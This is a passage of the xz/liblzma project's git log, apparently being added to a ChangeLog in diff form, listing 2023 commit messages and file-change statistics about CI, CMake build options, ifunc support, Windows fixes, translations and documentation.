with GCC. + + tests/test_block_header.c | 38 ++++++++++++++++++++++---------------- + 1 file changed, 22 insertions(+), 16 deletions(-) + +commit 78704f36e74205857c898a351c757719a6c8b666 +Author: Jia Tan +Date: 2023-06-28 20:31:11 +0800 + + liblzma: Prevent uninitialzed warning in mt stream encoder. + + This change only impacts the compiler warning since it was impossible + for the wait_abs struct in stream_encode_mt() to be used before it was + initialized since mythread_condtime_set() will always be called before + mythread_cond_timedwait(). + + Since the mythread.h code is different between the POSIX and + Windows versions, this warning was only present on Windows builds. + + Thanks to Arthur S for reporting the warning and providing an initial + patch. + + src/liblzma/common/stream_encoder_mt.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit e3356a204c5ae02db3ec4552b6c1be354e9b6142 +Author: Jia Tan +Date: 2023-06-28 20:22:38 +0800 + + liblzma: Prevent warning for MSYS2 Windows build. + + In lzma_memcmplen(), the header file is only included if + _MSC_VER and _M_X64 are both defined but _BitScanForward64() was + previously used if _M_X64 was defined. GCC for MSYS2 defines _M_X64 but + not _MSC_VER so _BitScanForward64() was used without including + . + + Now, lzma_memcmplen() will use __builtin_ctzll() for MSYS2 GCC builds as + expected. + + src/liblzma/common/memcmplen.h | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +commit 45e250a9e9f3c3e8e8af2983366b170bf54f890e +Author: Jia Tan +Date: 2023-06-28 21:01:22 +0800 + + CI: Add test with -fsanitize=address,undefined. + + ci_build.sh was updated to accept disabling of __attribute__ ifunc + and CLMUL. This will allow -fsanitize=address to pass because ifunc + is incompatible with -fsanitize=address. The CLMUL implementation has + optimizations that potentially read past the buffer and mask out the + unwanted bytes. + + This test will only run on Autotools Linux. + + .github/workflows/ci.yml | 23 +++++++++++++++++++---- + build-aux/ci_build.sh | 8 +++++++- + 2 files changed, 26 insertions(+), 5 deletions(-) + +commit 596ee722cd7ddf0afae584fc06365adc0e735977 +Author: Jia Tan +Date: 2023-06-28 20:16:04 +0800 + + CI: Upgrade checkout action from v2 to v3. + + .github/workflows/ci.yml | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 86118ea320f867e09e98a8682cc08cbbdfd640e2 +Author: Jia Tan +Date: 2023-06-27 23:38:32 +0800 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit 3d1fdddf92321b516d55651888b9c669e254634e +Author: Jia Tan +Date: 2023-06-27 17:27:09 +0300 + + Docs: Document the configure option --disable-ifunc in INSTALL. + + INSTALL | 8 ++++++++ + 1 file changed, 8 insertions(+) + +commit b4cf7a2822e8d30eb2b12a1a07fd04383b10ade3 +Author: Lasse Collin +Date: 2023-06-27 17:24:49 +0300 + + Minor tweaks to style and comments. + + CMakeLists.txt | 8 ++++---- + configure.ac | 9 +++++---- + 2 files changed, 9 insertions(+), 8 deletions(-) + +commit 23fb9e3a329117c2968c1e7388b6ef07c782dba1 +Author: Lasse Collin +Date: 2023-06-27 17:19:49 +0300 + + CMake: Rename CHECK_ATTR_IFUNC to ALLOW_ATTR_IFUNC. + + It's so that there's a clear difference in wording compared + to liblzma's integrity check types. + + CMakeLists.txt | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit ee44863ae88e377a5df10db007ba9bfadde3d314 +Author: Lasse Collin +Date: 2023-06-27 17:05:23 +0300 + + liblzma: Add ifunc implementation to crc64_fast.c. + + The ifunc method avoids indirection via the function pointer + crc64_func. This works on GNU/Linux and probably on FreeBSD too. + The previous __attribute((__constructor__)) method is kept for + compatibility with ELF platforms which do support ifunc. + + The ifunc method has some limitations, for example, building + liblzma with -fsanitize=address will result in segfaults. + The configure option --disable-ifunc must be used for such builds. + + Thanks to Hans Jansen for the original patch. + Closes: https://github.com/tukaani-project/xz/pull/53 + + src/liblzma/check/crc64_fast.c | 35 ++++++++++++++++++++++++++--------- + 1 file changed, 26 insertions(+), 9 deletions(-) + +commit b72d21202402a603db6d512fb9271cfa83249639 +Author: Hans Jansen +Date: 2023-06-22 19:49:30 +0200 + + Add ifunc check to CMakeLists.txt + + CMake build system will now verify if __attribute__((__ifunc__())) can be + used in the build system. If so, HAVE_FUNC_ATTRIBUTE_IFUNC will be + defined to 1. + + CMakeLists.txt | 19 +++++++++++++++++++ + 1 file changed, 19 insertions(+) + +commit 23b5c36fb71904bfbe16bb20f976da38dadf6c3b +Author: Hans Jansen +Date: 2023-06-22 19:46:55 +0200 + + Add ifunc check to configure.ac + + configure.ac will now verify if __attribute__((__ifunc__())) can be used in + the build system. If so, HAVE_FUNC_ATTRIBUTE_IFUNC will be defined to 1. + + configure.ac | 28 ++++++++++++++++++++++++++++ + 1 file changed, 28 insertions(+) + +commit dbb3a536ed9873ffa0870321f6873e564c6a9da8 +Author: Jia Tan +Date: 2023-06-07 00:18:30 +0800 + + CI: Add apt update command before installing dependencies. + + Without the extra command, all of the CI tests were automatically + failing because the Ubuntu servers could not be reached properly. + + .github/workflows/ci.yml | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +commit 6bcd516812331de42b347922913230895bebad34 +Author: Jia Tan +Date: 2023-06-07 00:10:38 +0800 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit 0d94ba69220d894d2a86081821d2d7a89df5a10b +Author: Benjamin Buch +Date: 2023-06-06 15:32:45 +0200 + + CMake: Protects against double find_package + + Boost iostream uses `find_package` in quiet mode and then again uses + `find_package` with required. This second call triggers a + `add_library cannot create imported target "ZLIB::ZLIB" because another + target with the same name already exists.` + + This can simply be fixed by skipping the alias part on secondary + `find_package` runs. + + CMakeLists.txt | 16 +++++++++------- + 1 file changed, 9 insertions(+), 7 deletions(-) + +commit 045d7aae286ecd2ce163be9e0d9041343a03f89a +Author: Jia Tan +Date: 2023-05-31 20:26:42 +0800 + + Translations: Update the Esperanto translation. + + po/eo.po | 185 +++++++++++++++++++++++++++++++-------------------------------- + 1 file changed, 92 insertions(+), 93 deletions(-) + +commit b0cc7c2dcefe4cbc4e1e697598c14fb687ed0b78 +Author: Jia Tan +Date: 2023-05-31 20:25:00 +0800 + + Translations: Update the Croatian translation. + + po/hr.po | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit af045ef6f848f02cd14c9ad195a5f87bb0c02dce +Author: Jia Tan +Date: 2023-05-31 20:15:53 +0800 + + Translations: Update the Chinese (simplified) translation. + + po/zh_CN.po | 317 ++++++++++++++++++++++++++++++------------------------------ + 1 file changed, 157 insertions(+), 160 deletions(-) + +commit e6b92d5817fe91ad27a0f7f57bd0f2144311e383 +Author: Jia Tan +Date: 2023-05-17 23:12:13 +0800 + + Translations: Update German translation of man pages. + + po4a/de.po | 52 ++++++++++++---------------------------------------- + 1 file changed, 12 insertions(+), 40 deletions(-) + +commit 592961ccdbba39c7d60fe37e36764232feb57c60 +Author: Jia Tan +Date: 2023-05-17 23:09:18 +0800 + + Translations: Update the German translation. + + po/de.po | 189 +++++++++++++++++++++++++++++++-------------------------------- + 1 file changed, 94 insertions(+), 95 deletions(-) + +commit 13572cb2c391f5b7503e333c6e05b20bd5bbb524 +Author: Jia Tan +Date: 2023-05-17 20:30:01 +0800 + + Translations: Update the Croatian translation. + + po/hr.po | 187 +++++++++++++++++++++++++++++++-------------------------------- + 1 file changed, 93 insertions(+), 94 deletions(-) + +commit 4e6e425ea8f097c6fb43e69cc9540294dca3680d +Author: Jia Tan +Date: 2023-05-17 20:26:54 +0800 + + Translations: Update Korean translation of man pages. + + po4a/ko.po | 3015 ++++++++++++------------------------------------------------ + 1 file changed, 568 insertions(+), 2447 deletions(-) + +commit d5ef1f6faf7c270f60093629257150085ecf19ca +Author: Jia Tan +Date: 2023-05-17 20:13:01 +0800 + + Translations: Update the Korean translation. + + po/ko.po | 319 +++++++++++++++++++++++++++++++-------------------------------- + 1 file changed, 158 insertions(+), 161 deletions(-) + +commit e22d0b0f2e301e7906d0106689d967ed84362028 +Author: Jia Tan +Date: 2023-05-16 23:49:09 +0800 + + Translations: Update the Spanish translation. + + po/es.po | 319 +++++++++++++++++++++++++++++++-------------------------------- + 1 file changed, 158 insertions(+), 161 deletions(-) + +commit f50da74d52d01f6cfd826a921249e289cf671678 +Author: Jia Tan +Date: 2023-05-16 23:47:23 +0800 + + Translations: Update the Romanian translation. + + po/ro.po | 195 ++++++++++++++++++++++++++++++++------------------------------- + 1 file changed, 98 insertions(+), 97 deletions(-) + +commit 4b9ad60a7305e9841b7cb4ea611bdf5fa7271696 +Author: Jia Tan +Date: 2023-05-16 23:45:43 +0800 + + Translations: Update Romanian translation of man pages. + + po4a/ro.po | 19 ++++++++++--------- + 1 file changed, 10 insertions(+), 9 deletions(-) + +commit cb6fd57f889c5d9fab36ae8c9e10083a5fe32dea +Author: Jia Tan +Date: 2023-05-16 23:43:51 +0800 + + Translations: Update Ukrainian translation of man pages. + + po4a/uk.po | 12 ++++++------ + 1 file changed, 6 insertions(+), 6 deletions(-) + +commit c3e8fcbc2db4861f92ad15606c995bd255803c52 +Author: Jia Tan +Date: 2023-05-16 23:37:54 +0800 + + Translations: Update the Ukrainian translation. + + po/uk.po | 321 +++++++++++++++++++++++++++++++-------------------------------- + 1 file changed, 159 insertions(+), 162 deletions(-) + +commit 27b81b84fcedbc55aa6e6b21004c44070b15b038 +Author: Jia Tan +Date: 2023-05-16 23:07:35 +0800 + + Translations: Update the Polish translation. + + po/pl.po | 316 +++++++++++++++++++++++++++++++-------------------------------- + 1 file changed, 155 insertions(+), 161 deletions(-) + +commit 8024ad636a65ed6ea95c94d57255be4c6724d6ed +Author: Jia Tan +Date: 2023-05-16 22:52:14 +0800 + + Translations: Update the Swedish translation. + + po/sv.po | 319 +++++++++++++++++++++++++++++++-------------------------------- + 1 file changed, 158 insertions(+), 161 deletions(-) + +commit 6699a29673f227c4664826db485ed9f7596320d2 +Author: Jia Tan +Date: 2023-05-16 21:21:38 +0800 + + Translations: Update the Esperanto translation. + + po/eo.po | 34 +++++++++++++++++----------------- + 1 file changed, 17 insertions(+), 17 deletions(-) + +commit f36ca7982f6bd5e9827219ed4f3c5a1fbf5d7bdf +Author: Jia Tan +Date: 2023-05-13 21:21:54 +0800 + + liblzma: Slightly rewords lzma_str_list_filters() documentation. + + Reword "options required" to "supported options". The previous may have + suggested that the options listed were all required anytime a filter is + used for encoding or decoding. The reword makes this more clear that + adjusting the options is optional. + + src/liblzma/api/lzma/filter.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 3374a5359e52f1671d8f831d65827d5020fe2595 +Author: Jia Tan +Date: 2023-05-11 23:49:23 +0800 + + liblzma: Adds lzma_nothrow to MicroLZMA API functions. + + None of the liblzma functions may throw an exception, so this + attribute should be applied to all liblzma API functions. + + src/liblzma/api/lzma/container.h | 5 +++-- + 1 file changed, 3 insertions(+), 2 deletions(-) + +commit 8f236574986e7c414c0ea059f441982d1387e6a4 +Author: Jia Tan +Date: 2023-05-09 20:20:06 +0800 + + liblzma: Exports lzma_mt_block_size() as an API function. + + The lzma_mt_block_size() was previously just an internal function for + the multithreaded .xz encoder. It is used to provide a recommended Block + size for a given filter chain. + + This function is helpful to determine the maximum Block size for the + multithreaded .xz encoder when one wants to change the filters between + blocks. Then, this determined Block size can be provided to + lzma_stream_encoder_mt() in the lzma_mt options parameter when + intializing the coder. This requires one to know all the filter chains + they are using before starting to encode (or at least the filter chain + that will need the largest Block size), but that isn't a bad limitation. + + src/liblzma/api/lzma/container.h | 28 ++++++++++++++++++++++++++++ + src/liblzma/common/filter_encoder.c | 16 ++++++++++------ + src/liblzma/common/filter_encoder.h | 6 +----- + src/liblzma/common/stream_encoder_mt.c | 20 +++++++++----------- + src/liblzma/liblzma_generic.map | 5 +++++ + src/liblzma/liblzma_linux.map | 5 +++++ + src/liblzma/lzma/lzma2_encoder.c | 3 +++ + 7 files changed, 61 insertions(+), 22 deletions(-) + +commit d0f33d672a4da7985ebb5ba8d829f885de49c171 +Author: Jia Tan +Date: 2023-05-08 22:58:09 +0800 + + liblzma: Creates IS_ENC_DICT_SIZE_VALID() macro. + + This creates an internal liblzma macro to test if the dictionary size + is valid for encoding. + + src/liblzma/lz/lz_encoder.c | 4 +--- + src/liblzma/lz/lz_encoder.h | 8 ++++++++ + 2 files changed, 9 insertions(+), 3 deletions(-) + +commit c247d06e1f6cada9a76f4f6225cbd97ea760f52f +Author: Jia Tan +Date: 2023-05-02 20:39:56 +0800 + + Add NEWS for 5.4.3. + + NEWS | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +commit 77050b78364ffb6b0f129e742b7c31602d725c08 +Author: Jia Tan +Date: 2023-05-02 20:39:37 +0800 + + Add NEWS for 5.2.12. + + NEWS | 14 ++++++++++++++ + 1 file changed, 14 insertions(+) + +commit 713e15e43eb6279a7ab4bbad3d1325ebfdcf09a0 +Author: Jia Tan +Date: 2023-05-04 20:38:52 +0800 + + Translations: Update the Croatian translation. + + po/hr.po | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit 9ad64bdf309844b6ca6c3e8a4dfb6dbaedda0ca9 +Author: Jia Tan +Date: 2023-05-04 20:30:25 +0800 + + tuklib_integer.h: Reverts previous commit. + + Previous commit 6be460dde07113fe3f08f814b61ddc3264125a96 would cause an + error if the integer size was 32 bit. + + src/common/tuklib_integer.h | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 6be460dde07113fe3f08f814b61ddc3264125a96 +Author: Jia Tan +Date: 2023-05-04 19:25:20 +0800 + + tuklib_integer.h: Changes two other UINT_MAX == UINT32_MAX to >=. + + src/common/tuklib_integer.h | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 44c0c5eae990a22ef04e9b88c1a15838a0d00878 +Author: Lasse Collin +Date: 2023-05-03 22:46:42 +0300 + + tuklib_integer.h: Fix a recent copypaste error in Clang detection. + + Wrong line was changed in 7062348bf35c1e4cbfee00ad9fffb4a21aa6eff7. + Also, this has >= instead of == since ints larger than 32 bits would + work too even if not relevant in practice. + + src/common/tuklib_integer.h | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 2cf5ae5b5b279b0b2e69ca4724e7bd705865fe68 +Author: Jia Tan +Date: 2023-04-25 20:06:15 +0800 + + CI: Adds a build and test for small configuration. + + .github/workflows/ci.yml | 5 +++++ + 1 file changed, 5 insertions(+) + +commit 16b81a057a87c2f18e6ed6447f003af0cbdcfe43 +Author: Jia Tan +Date: 2023-04-25 20:05:26 +0800 + + CI: ci_build.sh allows configuring small build. + + build-aux/ci_build.sh | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +commit 78ccd93951f9e988d447bcdd70b24f6df5448d1d +Author: Jia Tan +Date: 2023-04-20 20:15:00 +0800 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit f41df2ac2fed347d3f107f3533e76e000d29c6cb +Author: Jia Tan +Date: 2023-04-19 22:22:16 +0800 + + Windows: Include when needed. + + Legacy Windows did not need to #include to use the MSVC + intrinsics. Newer versions likely just issue a warning, but the MSVC + documentation says to include the header file for the intrinsics we use. + + GCC and Clang can "pretend" to be MSVC on Windows, so extra checks are + needed in tuklib_integer.h to only include when it will is + actually needed. + + src/common/tuklib_integer.h | 6 ++++++ + src/liblzma/common/memcmplen.h | 10 ++++++++++ + 2 files changed, 16 insertions(+) + +commit 7062348bf35c1e4cbfee00ad9fffb4a21aa6eff7 +Author: Jia Tan +Date: 2023-04-19 21:59:03 +0800 + + tuklib_integer: Use __builtin_clz() with Clang. + + Clang has support for __builtin_clz(), but previously Clang would + fallback to either the MSVC intrinsic or the regular C code. This was + discovered due to a bug where a new version of Clang required the + header file in order to use the MSVC intrinsics. + + Thanks to Anton Kochkov for notifying us about the bug. + + src/common/tuklib_integer.h | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit 3938718ce3773c90755785c0df8777f133b7ae29 +Author: Lasse Collin +Date: 2023-04-14 18:42:33 +0300 + + liblzma: Update project maintainers in lzma.h. + + AUTHORS was updated earlier, lzma.h was simply forgotten. + + src/liblzma/api/lzma.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 2a89670ab295e377f8b44f5bda6d198deb8ea285 +Author: Jia Tan +Date: 2023-04-13 20:45:19 +0800 + + liblzma: Cleans up old commented out code. + + src/liblzma/common/alone_encoder.c | 11 ----------- + 1 file changed, 11 deletions(-) + +commit 0fbb2b87a7b5a1dd9d0f4a5e84ac7919557dbe81 +Author: Jia Tan +Date: 2023-04-07 20:46:41 +0800 + + Docs: Add missing word to SECURITY.md. + + .github/SECURITY.md | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit fb9c50f38a17bf37581de4034b36c8df8ec90a87 +Author: Jia Tan +Date: 2023-04-07 20:43:22 +0800 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit 537c6cd8a9db0dd6b13683e64ddac2943190d715 +Author: Jia Tan +Date: 2023-04-07 20:42:12 +0800 + + Docs: Minor edits to SECURITY.md. + + .github/SECURITY.md | 25 ++++++++++++++++++++----- + 1 file changed, 20 insertions(+), 5 deletions(-) + +commit 6549df8dd53f358345957e232648fdb699930074 +Author: Gabriela Gutierrez +Date: 2023-04-07 12:08:30 +0000 + + Docs: Create SECURITY.md + + Signed-off-by: Gabriela Gutierrez + + .github/SECURITY.md | 14 ++++++++++++++ + 1 file changed, 14 insertions(+) + +commit d0faa85df5a5d253a4625d45313cf5e9277e6cd2 +Author: Jia Tan +Date: 2023-03-28 22:48:24 +0800 + + CI: Tests for disabling threading on CMake builds. + + .github/workflows/ci.yml | 3 --- + build-aux/ci_build.sh | 4 ++-- + 2 files changed, 2 insertions(+), 5 deletions(-) + +commit 8be5cc3b1359d88b4b30a39067466c0ae0bfbc4d +Author: Jia Tan +Date: 2023-03-28 22:45:42 +0800 + + CI: Removes CMakeCache.txt between builds. + + If the cache file is not removed, CMake will not reset configurations + back to their default values. In order to make the tests independent, it + is simplest to purge the cache. Unfortunatly, this will slow down the + tests a little and repeat some checks. + + build-aux/ci_build.sh | 2 ++ + 1 file changed, 2 insertions(+) + +commit 2cb6028fc31de082b7f927632363bb1426b61aaa +Author: Jia Tan +Date: 2023-03-28 22:32:40 +0800 + + CMake: Update liblzma-config.cmake generation. + + Now that the threading is configurable, the liblzma CMake package only + needs the threading library when using POSIX threads. + + CMakeLists.txt | 33 ++++++++++++++++++++++----------- + 1 file changed, 22 insertions(+), 11 deletions(-) + +commit 4d7fac0b07cc722825ba8d7838c558827e635611 +Author: Jia Tan +Date: 2023-03-28 22:25:33 +0800 + + CMake: Allows setting thread method. + + The thread method is now configurable for the CMake build. It matches + the Autotools build by allowing ON (pick the best threading method), + OFF (no threading), posix, win95, and vista. If both Windows and + posix threading are both available, then ON will choose Windows + threading. Windows threading will also not use: + + target_link_libraries(liblzma Threads::Threads) + + since on systems like MinGW-w64 it would link the posix threads + without purpose. + + CMakeLists.txt | 144 +++++++++++++++++++++++++++++++++++++++++---------------- + 1 file changed, 104 insertions(+), 40 deletions(-) + +commit 20cd905d898c1494dee42b78530769bb9c9f8076 +Author: Jia Tan +Date: 2023-03-24 23:05:48 +0800 + + CI: Runs CMake feature tests. + + Now, CMake will run similar feature disable tests that the Autotools + version did before. In order to do this without repeating lines in + ci.yml, it now makes sense to use the GitHub Workflow matrix to create + a loop. + + .github/workflows/ci.yml | 169 +++++++++++++++-------------------------------- + 1 file changed, 55 insertions(+), 114 deletions(-) + +commit 4fabdb269f1fc5624b3b94a170c4efb329d1d229 +Author: Jia Tan +Date: 2023-03-24 20:35:11 +0800 + + CI: ci_build.sh allows CMake features to be configured. + + Also included various clean ups for style and helper functions for + repeated work. + + build-aux/ci_build.sh | 233 +++++++++++++++++++++++++++++++------------------- + 1 file changed, 143 insertions(+), 90 deletions(-) + +commit cf3d1f130e50cf63da4bb1031771605f6f443b6a +Author: Jia Tan +Date: 2023-03-24 20:06:33 +0800 + + CI: Change ci_build.sh to use bash instead of sh. + + This script is only meant to be run as part of the CI build/test process + on machines that are known to have bash (Ubuntu and MacOS). If this + assumption changes in the future, then the bash specific commands will + need to be replaced with a more portable option. For now, it is + convenient to use bash commands. + + build-aux/ci_build.sh | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit ddfe164368e779c40d061aa4ccc376129e92f8e1 +Author: Jia Tan +Date: 2023-03-24 20:05:59 +0800 + + CMake: Only build xzdec if decoders are enabled. + + CMakeLists.txt | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 116e81f002c503d3c3cd12726db8f9116e58ef25 +Author: Jia Tan +Date: 2023-03-22 15:42:04 +0800 + + Build: Removes redundant check for LZMA1 filter support. + + src/liblzma/lzma/Makefile.inc | 5 +---- + 1 file changed, 1 insertion(+), 4 deletions(-) + +commit 0ba234f692772595329d225462d391fe2c199d0a +Author: Lasse Collin +Date: 2023-03-23 15:14:29 +0200 + + CMake: Bump maximum policy version to 3.26. + + It adds only one new policy related to FOLDERS which we don't use. + This makes it clear that the code is compatible with the policies + up to 3.26. + + CMakeLists.txt | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit b0891684b4436aed31510fddcbb218d513bd5489 +Author: Jia Tan +Date: 2023-03-21 23:36:00 +0800 + + CMake: Conditionally build xz list.* files if decoders are enabled. + + CMakeLists.txt | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +commit 2c1a830efb61d9d65906a09c9ee3ce27c2c49227 +Author: Jia Tan +Date: 2023-02-25 11:46:50 +0800 + + CMake: Allow configuring features as cache variables. + + This allows users to change the features they build either in + CMakeCache.txt or by using a CMake GUI. The sources built for + liblzma are affected by this too, so only the necessary files + will be compiled. + + CMakeLists.txt | 528 ++++++++++++++++++++++++++++++++++++++++++--------------- + 1 file changed, 391 insertions(+), 137 deletions(-) + +commit 8be136f667aaeb8f9e16fbd57a83cb282f0c27ff +Author: Lasse Collin +Date: 2023-03-21 14:07:51 +0200 + + Build: Add a comment that AC_PROG_CC_C99 is needed for Autoconf 2.69. + + It's obsolete in Autoconf >= 2.70 and just an alias for AC_PROG_CC + but Autoconf 2.69 requires AC_PROG_CC_C99 to get a C99 compiler. + + configure.ac | 3 +++ + 1 file changed, 3 insertions(+) + +commit 53cc475f2652d9e390ca002018dfd0af0626ef80 +Author: Lasse Collin +Date: 2023-03-21 14:04:37 +0200 + + Build: configure.ac: Use AS_IF and AS_CASE where required. + + This makes no functional difference in the generated configure + (at least with the Autotools versions I have installed) but this + change might prevent future bugs like the one that was just + fixed in the commit 5a5bd7f871818029d5ccbe189f087f591258c294. + + configure.ac | 30 +++++++++++++++--------------- + 1 file changed, 15 insertions(+), 15 deletions(-) + +commit 3b8890a40233b6c783bb101ec14405e786871775 +Author: Lasse Collin +Date: 2023-03-21 13:12:03 +0200 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit 5a5bd7f871818029d5ccbe189f087f591258c294 +Author: Lasse Collin +Date: 2023-03-21 13:11:49 +0200 + + Build: Fix --disable-threads breaking the building of shared libs. + + This is broken in the releases 5.2.6 to 5.4.2. A workaround + for these releases is to pass EGREP='grep -E' as an argument + to configure in addition to --disable-threads. + + The problem appeared when m4/ax_pthread.m4 was updated in + the commit 6629ed929cc7d45a11e385f357ab58ec15e7e4ad which + introduced the use of AC_EGREP_CPP. AC_EGREP_CPP calls + AC_REQUIRE([AC_PROG_EGREP]) to set the shell variable EGREP + but this was only executed if POSIX threads were enabled. + Libtool code also has AC_REQUIRE([AC_PROG_EGREP]) but Autoconf + omits it as AC_PROG_EGREP has already been required earlier. + Thus, if not using POSIX threads, the shell variable EGREP + would be undefined in the Libtool code in configure. + + ax_pthread.m4 is fine. The bug was in configure.ac which called + AX_PTHREAD conditionally in an incorrect way. Using AS_CASE + ensures that all AC_REQUIREs get always run. + + Thanks to Frank Busse for reporting the bug. + Fixes: https://github.com/tukaani-project/xz/issues/45 + + configure.ac | 16 ++++++++-------- + 1 file changed, 8 insertions(+), 8 deletions(-) + +commit dfe1710784c0a3c3a90c17b80c9e1fe19b5fce06 +Author: Lasse Collin +Date: 2023-03-19 22:45:59 +0200 + + liblzma: Silence -Wsign-conversion in SSE2 code in memcmplen.h. + + Thanks to Christian Hesse for reporting the issue. + Fixes: https://github.com/tukaani-project/xz/issues/44 + + src/liblzma/common/memcmplen.h | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +commit f0c580c5fc38bf49a184b48d76c1d8c057d499ce +Author: Jia Tan +Date: 2023-03-18 22:10:57 +0800 + + Add NEWS for 5.4.2. + + NEWS | 48 ++++++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 48 insertions(+) + +commit af4925e6043113ec9b5f9c0cf13abf2a18ccb1f6 +Author: Jia Tan +Date: 2023-03-18 22:10:12 +0800 + + Add NEWS for 5.2.11. + + NEWS | 27 +++++++++++++++++++++++++++ + 1 file changed, 27 insertions(+) + +commit 5a7b930efa7f9849d8da8397e8e5d8638f92be40 +Author: Lasse Collin +Date: 2023-03-18 16:00:54 +0200 + + Update the copy of GNU GPLv3 from gnu.org to COPYING.GPLv3. + + COPYING.GPLv3 | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +commit b473a92891f7e991398a3b5eff305f6f2b6d7293 +Author: Lasse Collin +Date: 2023-03-18 15:51:57 +0200 + + Change a few HTTP URLs to HTTPS. + + The xz man page timestamp was intentionally left unchanged. + + INSTALL | 2 +- + README | 8 ++++---- + configure.ac | 2 +- + dos/INSTALL.txt | 4 ++-- + src/liblzma/api/lzma.h | 8 ++++---- + src/liblzma/check/sha256.c | 2 +- + src/xz/xz.1 | 2 +- + windows/INSTALL-MinGW.txt | 10 +++++----- + 8 files changed, 19 insertions(+), 19 deletions(-) + +commit 8b2f6001b4f412c259a7883427f2f2c8cea98ea8 +Author: Jia Tan +Date: 2023-03-18 00:40:28 +0800 + + CMake: Fix typo in a comment. + + CMakeLists.txt | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 76e2315e14c399c15cc90e7930fd4d3d086b0227 +Author: Lasse Collin +Date: 2023-03-17 18:36:22 +0200 + + Windows: build.bash: Copy liblzma API docs to the output package. + + windows/build.bash | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +commit 133cf55edc5ce92952d2709abd992e48ef1f45ee +Author: Lasse Collin +Date: 2023-03-17 08:53:38 +0200 + + Windows: Add microlzma_*.c to the VS project files. + + These should have been included in 5.3.2alpha already. + + windows/vs2013/liblzma.vcxproj | 2 ++ + windows/vs2013/liblzma_dll.vcxproj | 2 ++ + windows/vs2017/liblzma.vcxproj | 2 ++ + windows/vs2017/liblzma_dll.vcxproj | 2 ++ + windows/vs2019/liblzma.vcxproj | 2 ++ + windows/vs2019/liblzma_dll.vcxproj | 2 ++ + 6 files changed, 12 insertions(+) + +commit 75c9ca450fab6982fda9286b168081c9d54126cd +Author: Lasse Collin +Date: 2023-03-17 08:43:51 +0200 + + CMake: Add microlzma_*.c to the build. + + These should have been included in 5.3.2alpha already. + + CMakeLists.txt | 2 ++ + 1 file changed, 2 insertions(+) + +commit 0cc3313bd4e569c51e686e5aab8c40c35241d34b +Author: Lasse Collin +Date: 2023-03-17 08:41:36 +0200 + + Build: Update comments about unaligned access to mention 64-bit. + + cmake/tuklib_integer.cmake | 7 +++---- + m4/tuklib_integer.m4 | 4 ++-- + 2 files changed, 5 insertions(+), 6 deletions(-) + +commit 5e57e3301319f20c35f8111dea73fa58403b96b1 +Author: Lasse Collin +Date: 2023-03-17 00:02:30 +0200 + + Tests: Update .gitignore. + + .gitignore | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +commit 0007394d54e21bf30abb9a5e09cbc1e8d44a73ac +Author: Lasse Collin +Date: 2023-03-14 20:04:03 +0200 + + po4a/update-po: Display the script name consistently in error messages. + + po4a/update-po | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 509157c80c500426ec853bd992d684ebafc8500c +Author: Jia Tan +Date: 2023-03-17 01:30:36 +0800 + + Doc: Rename Doxygen HTML doc directory name liblzma => api. + + When the docs are installed, calling the directory "liblzma" is + confusing since multiple other files in the doc directory are for + liblzma. This should also make it more natural for distros when they + package the documentation. + + .gitignore | 2 +- + Makefile.am | 18 +++++++++--------- + PACKAGERS | 4 ++-- + doxygen/Doxyfile | 2 +- + doxygen/update-doxygen | 18 +++++++++--------- + 5 files changed, 22 insertions(+), 22 deletions(-) + +commit fd90e2f4c29180b44e33c7ef726f94e4eae54ed3 +Author: Jia Tan +Date: 2023-03-16 22:07:15 +0800 + + liblzma: Remove note from lzma_options_bcj about the ARM64 exception. + + This was left in by mistake since an early version of the ARM64 filter + used a different struct for its options. + + src/liblzma/api/lzma/bcj.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 4f50763b981f9056c5f1763dfb26cfa4a26a181d +Author: Jia Tan +Date: 2023-03-16 21:44:02 +0800 + + CI: Add doxygen as a dependency. + + Autogen now requires --no-doxygen or having doxygen installed to run + without errors. + + .github/workflows/ci.yml | 5 ++--- + 1 file changed, 2 insertions(+), 3 deletions(-) + +commit f68f4b27f62f53fdac570885a1f4f23367ce6599 +Author: Lasse Collin +Date: 2023-03-15 19:19:13 +0200 + + COPYING: Add a note about the included Doxygen-generated HTML. + + COPYING | 11 +++++++++++ + 1 file changed, 11 insertions(+) + +commit 8979308528c1f45cb9ee52d511f05232b4ad90a1 +Author: Jia Tan +Date: 2023-03-16 21:41:09 +0800 + + Doc: Update PACKAGERS with details about liblzma API docs install. + + PACKAGERS | 22 ++++++++++++++++------ + 1 file changed, 16 